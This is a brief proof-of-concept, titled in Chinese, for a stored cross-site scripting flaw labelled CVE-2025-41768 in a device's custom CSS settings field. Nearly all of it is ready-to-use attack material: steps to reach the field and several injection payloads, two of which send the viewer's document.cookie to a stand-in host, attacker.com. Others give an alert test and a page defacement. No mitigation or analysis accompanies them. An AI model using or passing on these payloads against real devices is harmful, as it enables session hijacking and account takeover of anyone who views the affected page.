CVE-2025-41768 设备自定义CSS字段跨站脚本漏洞

// CVE-2025-41768 Stored XSS PoC // Target: Device Custom CSS Field // Login to the device admin panel first // Then navigate to Custom CSS settings // Inject the following payload in the CSS field: const xssPayload = '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>'; // Alternative payloads: // 1. Basic alert test: // <script>alert(document.domain)</script> // 2. Cookie stealing: // <img src=x onerror="this.src='https://attacker.com/?c='+document.cookie"> // 3. DOM manipulation: // <script>document.body.innerHTML='<h1>Pwned</h1>'</script> // After injecting, any user viewing the affected page will trigger the payload